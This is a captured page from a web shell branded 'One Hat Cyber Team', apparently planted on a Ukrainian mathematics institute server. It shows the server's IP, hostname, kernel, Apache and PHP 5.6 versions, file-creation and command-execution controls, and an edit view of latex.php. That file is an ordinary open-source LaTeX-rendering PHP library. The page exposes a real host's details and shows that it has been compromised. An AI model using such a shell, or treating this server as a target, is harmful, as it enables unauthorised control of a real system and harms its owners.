One Hat Cyber Team
Your IP :
216.73.216.24
Server IP :
194.44.31.54
Server :
Linux zen.imath.kiev.ua 4.18.0-553.77.1.el8_10.x86_64 #1 SMP Fri Oct 3 14:30:23 UTC 2025 x86_64
Server Software :
Apache/2.4.37 (Rocky Linux) OpenSSL/1.1.1k
PHP Version :
5.6.40
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
home
/
nosc
/
public_html
/
latexrender
/
Edit File:
latex.php
<?php /** * LaTeX Rendering Class - Calling function * Copyright (C) 2003 Benjamin Zeiss <zeiss@math.uni-goettingen.de> * * This library is free software; you can redistribute it and/or * modify it under the terms of the GNU Lesser General Public * License as published by the Free Software Foundation; either * version 2.1 of the License, or (at your option) any later version. * * This library is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * Lesser General Public License for more details. * * You should have received a copy of the GNU Lesser General Public * License along with this library; if not, write to the Free Software * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA * -------------------------------------------------------------------- * @author Benjamin Zeiss <zeiss@math.uni-goettingen.de> * @version v0.8 * @package latexrender * Revised by Steve Mayer * This file can be included in many PHP programs by using something like (see example.php to see how it can be used) * include_once('/full_path_here_to/latexrender/latex.php'); * $text_to_be_converted=latex_content($text_to_be_converted); * $text_to_be_converted will then contain the link to the appropriate image * or an error code as follows (the 500 values can be altered in class.latexrender.php): * 0 OK * 1 Formula longer than 500 characters * 2 Includes a blacklisted tag * 3 (Not used) Latex rendering failed * 4 Cannot create DVI file * 5 Picture larger than 500 x 500 followed by x x y dimensions * 6 Cannot copy image to pictures directory * * This version includes Mike Boyle's modifications to allow vertical offset of LaTeX formulae */ function latex_content($text) { // -------------------------------------------------------------------------------------------------- // adjust this to match your system configuration $latexrender_path = "/home/nosc/public_html/latexrender/offset_beta"; $latexrender_path_http = "~nosc/latexrender/offset_beta"; // -------------------------------------------------------------------------------------------------- include_once($latexrender_path."/class.latexrender.php"); preg_match_all("#\[tex\](.*?)\[/tex\]#si",$text,$tex_matches); $latex = new LatexRender($latexrender_path."/pictures",$latexrender_path_http."/pictures",$latexrender_path."/tmp"); for ($i=0; $i < count($tex_matches[0]); $i++) { $pos = strpos($text, $tex_matches[0][$i]); $latex_formula = $tex_matches[1][$i]; // if you use htmlArea to input the text then uncomment the next 6 lines // $latex_formula = str_replace("&","&",$latex_formula); // $latex_formula = str_replace("&","&",$latex_formula); // $latex_formula = str_replace(" "," ",$latex_formula); // $latex_formula = str_replace("<BR>","",$latex_formula); // $latex_formula = str_replace("<P>","",$latex_formula); // $latex_formula = str_replace("</P>","",$latex_formula); $url = $latex->getFormulaURL($latex_formula); // offset: get depth information from filename $filename = basename($url); $filename = str_replace("_",".",$filename); $farray = explode(".",$filename); if (count($farray)>2){ $style_css = ' style="vertical-align:-'.$farray[1].".".$farray[2].';" '; } else { $style_css = " align=absmiddle"; } $alt_latex_formula = htmlentities($latex_formula, ENT_QUOTES); $alt_latex_formula = str_replace("\r"," ",$alt_latex_formula); $alt_latex_formula = str_replace("\n"," ",$alt_latex_formula); if ($url != false) { // offset: add vertical alignment in $style_css $text = substr_replace($text, "<img src='".$url."' title='".$alt_latex_formula."' alt='".$alt_latex_formula."'.$style_css>",$pos,strlen($tex_matches[0][$i])); } else { $text = substr_replace($text, "[Unparseable or potentially dangerous latex formula. Error $latex->_errorcode $latex->_errorextra]",$pos,strlen($tex_matches[0][$i])); } } return $text; } // offset: repeats the processing to show the normal image without any vertical alignment. // so only required for comparison purposes function latex_content_nooffset($text) { // -------------------------------------------------------------------------------------------------- // adjust this to match your system configuration $latexrender_path = "/home/domain_name/public_html/latexrender"; $latexrender_path_http = "/latexrender"; // -------------------------------------------------------------------------------------------------- include_once($latexrender_path."/class.latexrender.php"); preg_match_all("#\[tex\](.*?)\[/tex\]#si",$text,$tex_matches); $latex = new LatexRender($latexrender_path."/pictures",$latexrender_path_http."/pictures",$latexrender_path."/tmp"); for ($i=0; $i < count($tex_matches[0]); $i++) { $pos = strpos($text, $tex_matches[0][$i]); $latex_formula = $tex_matches[1][$i]; // if you use htmlArea to input the text then uncomment the next 6 lines // $latex_formula = str_replace("&","&",$latex_formula); // $latex_formula = str_replace("&","&",$latex_formula); // $latex_formula = str_replace(" "," ",$latex_formula); // $latex_formula = str_replace("<BR>","",$latex_formula); // $latex_formula = str_replace("<P>","",$latex_formula); // $latex_formula = str_replace("</P>","",$latex_formula); $url = $latex->getFormulaURL($latex_formula); $alt_latex_formula = htmlentities($latex_formula, ENT_QUOTES); $alt_latex_formula = str_replace("\r"," ",$alt_latex_formula); $alt_latex_formula = str_replace("\n"," ",$alt_latex_formula); if ($url != false) { $text = substr_replace($text, "<img src='".$url."' title='".$alt_latex_formula."' alt='".$alt_latex_formula."' align=absmiddle>",$pos,strlen($tex_matches[0][$i])); } else { $text = substr_replace($text, "[Unparseable or potentially dangerous latex formula. Error $latex->_errorcode $latex->_errorextra]",$pos,strlen($tex_matches[0][$i])); } } return $text; } ?>
Simpan